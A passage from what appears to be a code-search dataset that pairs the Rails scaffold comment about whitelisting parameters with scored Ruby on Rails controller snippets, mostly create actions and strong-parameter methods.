"docid": "bb3b48b2975c6ebaa1de0f19281f2d3d",
"score": "0.494558",
"text": "def create\n @barrels_income = BarrelsIncome.new(barrels_income_params)\n\n respond_to do |format|\n if @barrels_income.save\n format.html { redirect_to @barrels_income, notice: 'Barrels income was successfully created.' }\n format.json { render action: 'show', status: :created, location: @barrels_income }\n else\n format.html { render action: 'new' }\n format.json { render json: @barrels_income.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9626e2e11ceb3cd0f171c89819b99a36",
"score": "0.4944746",
"text": "def create\n @node_incident = NodeIncident.new(params[:node_incident])\n\n respond_to do |format|\n if @node_incident.save\n format.html { redirect_to @node_incident, :notice => 'Node incident was successfully created.' }\n format.json { render :json => @node_incident, :status => :created, :location => @node_incident }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @node_incident.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "927640d605eb3cf7d8861a85d8e1b517",
"score": "0.4939674",
"text": "def create\n @empleado_especialidad = EmpleadoEspecialidad.new(empleado_especialidad_params)\n\n respond_to do |format|\n if @empleado_especialidad.save\n format.html { redirect_to @empleado_especialidad, notice: 'Empleado especialidad was successfully created.' }\n format.json { render :show, status: :created, location: @empleado_especialidad }\n else\n format.html { render :new }\n format.json { render json: @empleado_especialidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec898a09d3fd44d1cbc2a639ec3880f9",
"score": "0.49333876",
"text": "def create\n @profesore = Profesore.new(params[:profesore])\n\n respond_to do |format|\n if @profesore.save\n format.html { redirect_to @profesore, notice: 'Profesore was successfully created.' }\n format.json { render json: @profesore, status: :created, location: @profesore }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profesore.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9a4aabc5d9fcf781f778d222d7dd9e46",
"score": "0.4931461",
"text": "def create\n @encounter_type = EncounterType.new(params[:encounter_type])\n\n respond_to do |format|\n if @encounter_type.save\n flash[:notice] = 'EncounterType was successfully created.'\n format.html { redirect_to(@encounter_type) }\n format.xml { render :xml => @encounter_type, :status => :created, :location => @encounter_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @encounter_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ff2043a71dfc6e7a9393400d6c3920a3",
"score": "0.49305624",
"text": "def create(params, membership)\n # Send payload to blip\n data = {\n initials: (params[4].nil? ? params[5][0] : params[4].tr('^a-zA-Z', '')),\n firstname: (params[5].nil? ? params[4][0] : params[5]),\n lastname: [params[6], params[7]].reject{|e| e.nil? or e.empty?}.join(' '),\n email: (params[3].nil? ? 'unknown@nieuwedelft.nl.invalid' : params[3]),\n gender: params[9] == 'Vrouw' ? 'F' : 'M',\n phone: params[14],\n mobile: params[2],\n phone_parents: params[24],\n address: [params[10], params[11], params[12]].join(' '),\n membership: membership,\n }\n begin\n unless params[15].nil?\n data[:dateofbirth] = Date.strptime(params[15], '%d-%m-%Y').strftime('%Y-%m-%d')\n end\n rescue\n $problems.write \"#{$index}, #{data[:firstname]} #{data[:lastname]}, Birthdate ignored\\n\"\n end\n blip = post('https://people.i.bolkhuis.nl/persons', data)\n\n # Grab uid\n unless blip == nil\n uid = blip['uid']\n\n # Send payload to operculum\n put(\"https://operculum.i.bolkhuis.nl/person/#{uid}\", {\n nickname: params[8],\n study: params[16],\n alive: params[17].nil?,\n inauguration: params[25],\n resignation_letter: params[26],\n resignation: params[27],\n })\n end\nend",
"title": ""
},
{
"docid": "7e3a1f360112367e3475290ed651f0a4",
"score": "0.49286795",
"text": "def create\n @industry_type = IndustryType.new(params[:industry_type])\n\n respond_to do |format|\n if @industry_type.save\n flash[:notice] = 'Industry Type was successfully created.'\n format.html { redirect_to(@industry_type) }\n format.xml { render :xml => @industry_type, :status => :created, :location => @industry_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @industry_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f2c7903d59111f845294dc2f7950494",
"score": "0.4928493",
"text": "def create\n @county = County.new(params[:county])\n\n respond_to do |format|\n if @county.save\n format.html { redirect_to @county, notice: 'County was successfully created.' }\n format.json { render json: @county, status: :created, location: @county }\n else\n format.html { render action: \"new\" }\n format.json { render json: @county.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46e14b95b771b298efe51fc48ae745e4",
"score": "0.4922827",
"text": "def create\n @student_regedship = StudentRegedship.new(params[:student_regedship])\n\n respond_to do |format|\n if @student_regedship.save\n format.html { redirect_to(@student_regedship, :notice => 'Student regedship was successfully created.') }\n format.xml { render :xml => @student_regedship, :status => :created, :location => @student_regedship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_regedship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d9806a51d31974dd02a233e27192371e",
"score": "0.49224618",
"text": "def create\n @profesor = Profesor.new(profesor_params)\n\n if @profesor.save\n render json: @profesor, status: :created, location: @profesor\n else\n render json: @profesor.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "e010e261abfe441a28f88caf680c7651",
"score": "0.492209",
"text": "def create\n @eleccion_interna = EleccionInterna.new(eleccion_interna_params)\n\n respond_to do |format|\n if @eleccion_interna.save\n format.html { redirect_to @eleccion_interna, notice: 'Eleccion interna was successfully created.' }\n format.json { render :show, status: :created, location: @eleccion_interna }\n else\n format.html { render :new }\n format.json { render json: @eleccion_interna.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2b6dbe5ce19a3100a3cfe5631ea9f8eb",
"score": "0.49147177",
"text": "def create\n @lookup_eligibility_ineligibility = LookupEligibilityIneligibility.new(params[:lookup_eligibility_ineligibility])\n\n respond_to do |format|\n if @lookup_eligibility_ineligibility.save\n format.html { redirect_to(@lookup_eligibility_ineligibility, :notice => 'Lookup eligibility ineligibility was successfully created.') }\n format.xml { render :xml => @lookup_eligibility_ineligibility, :status => :created, :location => @lookup_eligibility_ineligibility }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_eligibility_ineligibility.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "83b177cd987caab71d996bba303966e5",
"score": "0.49132222",
"text": "def create\n @residence = Residence.new(params[:residence])\n\n respond_to do |format|\n if @residence.save\n format.html { redirect_to @residence, notice: 'Residence was successfully created.' }\n format.json { render json: @residence, status: :created, location: @residence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @residence.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46d436a7d5fed8aec23020d006359ec3",
"score": "0.4910984",
"text": "def create_jobfamily\n @jobfamily = @company.jobfamilies.create(name: params[:jobfamily][:name])\n respond_to do |format|\n format.json { render json: @jobfamily }\n end\n end",
"title": ""
},
{
"docid": "b9991b2addd3e08a7a7bd29305395cf8",
"score": "0.49102888",
"text": "def create\n @family = Family.new(params[:family])\n\n respond_to do |format|\n if @family.save\n flash[:notice] = 'Family was successfully created.'\n format.html { redirect_to(@family) }\n format.xml { render :xml => @family, :status => :created, :location => @family }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "890ef5fe4aaf3bcfd20596ace93d6ea5",
"score": "0.0",
"text": "def event_photo_params\n params.require(:event_photo).permit(:event_id, :image)\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
593bcddc6fb958d2665409cefe711f8d
|
equal to location.open_days minus days_requested returns in format [[month, day], [month, day], ...] for consumption by the javascript date picker
|
[
{
"docid": "9ae5bee5977be3ca3c2a62ab30aa8036",
"score": "0.5904201",
"text": "def pickup_times_for_datepicker(days_out = 90, *excluded_loans)\n excluded_loans.flatten!\n times = pickup_times(days_out, excluded_loans)\n return times.map { |d| d.to_s(:js) }\n end",
"title": ""
}
] |
[
{
"docid": "c9ca3e6d834b100d672042cfb54bbfdd",
"score": "0.67443687",
"text": "def available_days\n days_in_month - unavailable_days\n end",
"title": ""
},
{
"docid": "3a210feb4a5627d728d2f202d9248b3f",
"score": "0.6277393",
"text": "def monthdays; end",
"title": ""
},
{
"docid": "59b56a9f9ccecb6018033a14e5dc482a",
"score": "0.6099231",
